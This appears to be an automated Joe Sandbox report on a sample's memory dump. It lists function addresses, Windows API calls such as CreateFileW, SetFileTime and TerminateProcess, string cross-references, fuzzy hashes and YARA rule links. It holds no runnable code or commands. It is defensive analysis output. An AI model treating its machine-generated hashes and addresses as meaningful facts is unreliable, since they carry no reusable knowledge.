Instruction Fuzzy Hash: 5D625E7090024ADFDB14DFA4C944BDDBBB4EF14308F1480AEE815B72D2DB789A49DB99

Function 004059B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004059B8
AreFileApisANSI.KERNEL32(?,?,00000000,00000003,?,00000000,?,00000000), ref: 004059DC

Part of subcall function 0040597A: CreateFileA.KERNEL32(?,00000001,?,00000000,?,?,00000000,?,KA,00405A0D,?,?,?,KA,?,00000001), ref: 0040599C

CreateFileW.KERNELBASE(?,?,?,00000000,KA,?,00000000,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A41

Strings

KA, xrefs: 00405A34, 004059FE

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: File$Create$ApisH_prolog
String ID: KA
API String ID: 1948390111-4133974868
Opcode ID: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction ID: 6ceee1153368ae3910bf8b124445a1a72b78f4c7609cf7ab69cd6f34e54ac91e
Opcode Fuzzy Hash: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
Instruction Fuzzy Hash: E0118E72A00109EFCF01AFA4D8818DE7F76EF08318F10412AF512B21A1CB398A65DF94

Function 0040483F Relevance: 6.0, APIs: 4, Instructions: 36
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(00000078,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040484F
CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040486B
SetFileTime.KERNELBASE(00000000,00000000,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000), ref: 00404882
CloseHandle.KERNEL32(00000000,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?), ref: 0040488E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID:
API String ID: 2291555494-0
Opcode ID: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction ID: 64467d0e5ceda328e6e32eae128236dd02d513a4ef1926b956b8d25c0d97de23
Opcode Fuzzy Hash: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction Fuzzy Hash: B4F0E2762803507BE2302B60AC48F9B6E5CDBC9B25F108535B2A5A20E0C2294D1992B8

Function 00408524 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408529

Strings

83B, xrefs: 0040881D
Unknown error, xrefs: 004087EA, 004087EF

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID: 83B$Unknown error
API String ID: 3519838083-1944086607
Opcode ID: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction ID: d43b38567734cbd3d280cef04a8de17ccbe463ec1fdb7709e9180388f705ec22
Opcode Fuzzy Hash: 4eafd060168cf62d967f11a2e06bed2b646f89a5601815e0617f26fec8bbc86a
Instruction Fuzzy Hash: A5D17070900259EFCF05DFA4C944ADEBB74BF14318F20846EF845BB291CB78AA45CB95

Function 00408F0A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408F0F
GetLastError.KERNEL32(?,00000003,00000003,00000003,?,?,00000000), ref: 00408FD3

Part of subcall function 00409184: __EH_prolog.LIBCMT ref: 00409189

Part of subcall function 004092E9: __EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00408A3B: __EH_prolog.LIBCMT ref: 00408A40

Strings

KA, xrefs: 00409089

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID: KA
API String ID: 2901101390-4133974868
Opcode ID: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
Instruction ID: 1ffdda1e280707f1620b0bff2a1c5a648dc862d45b7bd7d33f28712355ced64d
Opcode Fuzzy Hash: b6f1e9e35d0993485aac3e7f0f886f6fddc444a62bfdbd27778ba704e600b33b
Instruction Fuzzy Hash: 7C81677190020AABCF01EFA5C885ADEBBB5BF18318F14416EF455B32A2CB399A05CB54

Function 004049DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004049E2
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00404A6D

Strings

KA, xrefs: 004049F6, 00404A56, 00404B4E, 00404B7E, 00404A7A, 00404B84

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: ErrorH_prologLast
String ID: KA
API String ID: 1057991267-4133974868
Opcode ID: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
Instruction ID: ea88e0dbf276ed2b61ac96949af9a946984d9cda694903235269fb2a0f105987
Opcode Fuzzy Hash: 17c35cf8e9a7414348f32529b6738b26766f9c2a34e08f9ad75d03fbdc4fbc32
Instruction Fuzzy Hash: 14512671A4010A9ACF10EBA0C945AFFBB74EF91318F14017BE601732D1D779AE46CB99

Function 00401AF4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00401AF9

Strings

KA, xrefs: 00401BF0, 00401BF7
KA, xrefs: 00401B4E

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID: KA$KA
API String ID: 3519838083-594506476
Opcode ID: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction ID: 3866b3b7da3d7396f9922ec017f7e66c93d936b9f161a27d318f0a0663603341
Opcode Fuzzy Hash: 5b0f55770afa12d36702e97ef3d2b3e48a7f6e08a164a6161b21258ea26ce881
Instruction Fuzzy Hash: 7451CF72D042199FDF11DFA4C940BEEBBB4AF05394F14416AE851732E2E3789E85CB68

Function 00416CB8 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CCD
TerminateProcess.KERNEL32(00000000,?,00416CA3,?,00000000,00000000,00414BED,00000000,00000000), ref: 00416CD4
ExitProcess.KERNEL32 ref: 00416D55

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
Instruction ID: 207b1b8771569bb39d21ff3be241c2a042127402aedffa1bc22b33ac5a943006
Opcode Fuzzy Hash: 88460fada53f43c142527d69cfd7889c6f43d20f3130cd5a4fa53c970b5b43b0
Instruction Fuzzy Hash: 7A01C4323002119BD630AF69FC86A9A7BA5FB41715BA2802FF45057151DB7CD8C28B5D

Function 0040DD8B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0040DD90

Strings

, xrefs: 0040DE57

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-3916222277
Opcode ID: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction ID: cf89379ab294d4739916b9706e3dd1d7b183837ff3903d8a06049ba810aa014c
Opcode Fuzzy Hash: 74d497e127491c222f436ed49dfb2d2edc1529cc02750c3a0fcf17e54ab28a3b
Instruction Fuzzy Hash: 19515E71E006069BDB14DFA9C881ABFB7B5EF98304F14853AE405BB381D778A9458BA4

Function 00403113 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00403118

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004049DD: __EH_prolog.LIBCMT ref: 004049E2

Part of subcall function 00409569: __EH_prolog.LIBCMT ref: 0040956E

Strings

Default, xrefs: 0040322A

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID: Default
API String ID: 3519838083-753088835
Opcode ID: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction ID: 6c236086827897a16f525891fa60e3e62c5941a793998487ad20a929e2e28791
Opcode Fuzzy Hash: f128adbc8c60b4baaeff554b123c1f0edecf7e5f5aa4d41d76fe55222fded7d1
Instruction Fuzzy Hash: 76516071900609EFCB10EFA5D8859EEBBB8FF08318F00456FE45277291DB38AA05CB14

Function 00402F15 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00402F1A

Part of subcall function 00403376: __EH_prolog.LIBCMT ref: 0040337B

Part of subcall function 004034E3: __EH_prolog.LIBCMT ref: 004034E8

Part of subcall function 0040309D: __EH_prolog.LIBCMT ref: 004030A2
Part of subcall function 0040309D: ShowWindow.USER32(00414BE4,00000001,000001F4,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004030FB

Part of subcall function 004131E0: CloseHandle.KERNEL32(00000000,00000000,00403035,?,?,00000000,00000003,?,00000000,?,?,00000000,00000000,00000000), ref: 004131EA
Part of subcall function 004131E0: GetLastError.KERNEL32(?,00000000,00000000,00000000), ref: 004131F4

Strings

KA, xrefs: 00403042

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog$CloseErrorHandleLastShowWindow
String ID: KA
API String ID: 2740091781-4133974868
Opcode ID: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
Instruction ID: b66072ba2aa71961cefff889ac2f3310996ab01b533407b8592e0c78779ee57e
Opcode Fuzzy Hash: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
Instruction Fuzzy Hash: 2F41AF31900249DBCB11EFA5C991AEDBBB8AF14314F1480BFE906B72D2DB385B45CB55

Function 00408902 Relevance: 3.1, APIs: 2, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00408907
GetLastError.KERNEL32(00000001,00000000,?,?,00000000,?,?,00408AEB,?,?,?,?,?,?,?,00000000), ref: 00408994

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: ErrorH_prologLast
String ID:
API String ID: 1057991267-0
Opcode ID: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
Instruction ID: a8fc1237ba57e47b0ed65f04e9c7bd5e3c99de29461016f9efabf40ab0132a5b
Opcode Fuzzy Hash: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
Instruction Fuzzy Hash: 3F3181B19012499FCB10DF95CA859BEBBA0FF04314B14817FE495B72A1CB388D41CB6A

Function 004051C8 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004051CD

Part of subcall function 0040511B: __EH_prolog.LIBCMT ref: 00405120

Part of subcall function 004058CD: __EH_prolog.LIBCMT ref: 004058D2

GetLastError.KERNEL32(?,?,?,?,00000003,?,00000000,?,00000000), ref: 0040522C

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog$ErrorLast
String ID:
API String ID: 2901101390-0
Opcode ID: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction ID: 4ca71d6396368880cce983a38ddafe9bc91d36a7a330c4fa26da9ce64be84c4d
Opcode Fuzzy Hash: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
Instruction Fuzzy Hash: 43114831C00A059ACF14FBA5D4426EFBB70DF51368F1042BFA462771E28B7C1A4ACE19

Function 004159F8 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09

Part of subcall function 004158B0: GetVersionExA.KERNEL32 ref: 004158CF

HeapDestroy.KERNEL32 ref: 00415A48

Part of subcall function 00415A55: HeapAlloc.KERNEL32(00000000,00000140,00415A31,000003F8), ref: 00415A62

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction ID: d610f17f35f819288534aaa08ec9d41b03b5a17a7fe04688d897b1e7918b3c37
Opcode Fuzzy Hash: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
Instruction Fuzzy Hash: 00F03070696A01EBDB206B715DCA7E62A949F84799F104637F540C85A0EB7884C19A1D

Function 00405ACE Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00405AE9
GetLastError.KERNEL32(?,?,?,?), ref: 00405AF7

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction ID: ae3098a1e04470c1e0e5e0b92581544958da7485e9b3b22056b888074196ff7d
Opcode Fuzzy Hash: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
Instruction Fuzzy Hash: 89F0B7B4504208EFCB14CF54D9448AE7BF9EF49350B108169F815A7390D731AE00DF69

Function 0040BBC9 Relevance: 2.0, APIs: 1, Instructions: 515COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040BBCE

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
Instruction ID: 754c2283aee26f26976a66738bb4ef570e525f81dc1fbbef9a6f78583ad2e2a8
Opcode Fuzzy Hash: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
Instruction Fuzzy Hash: 5B325D70904249DFDB10DFA8C584ADEBBB4AF58304F1441AEE855BB3C2CB78AE45CB95

Function 0040280D Relevance: 1.9, APIs: 1, Instructions: 384COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402812

Part of subcall function 00402D80: EnterCriticalSection.KERNEL32(?,?,?,004095B9), ref: 00402D85
Part of subcall function 00402D80: LeaveCriticalSection.KERNEL32(?,?,?,?,004095B9), ref: 00402D8F

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429572325.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429594112.0000000000422000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429639123.0000000000423000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429661174.0000000000427000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_iyhiDENXt_q0EUrAsx1Gpb4x.jbxd

Similarity

API ID: CriticalSection$EnterH_prologLeave
String ID:
API String ID: 367238759-0
Opcode ID: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
Instruction ID: 6b86c84e82b28a82bfdc9d9b9477fa58d6923614df4f06b31c284573bb568367
Opcode Fuzzy Hash: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
Instruction Fuzzy Hash: 14F1AD30900249DFCF14EFA5C989ADEBBB4AF54318F14806EE445B72E2DB789A45CF19

Function 00408A3B Relevance: 1.9, APIs: 1, Instructions: 374COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408A40

Memory Dump Source

Source File: 00000007.00000002.2429421971.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2429400366.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429550454.000000000041B000.00000002.00000001.01000000.0000000A.sdmpDownload File
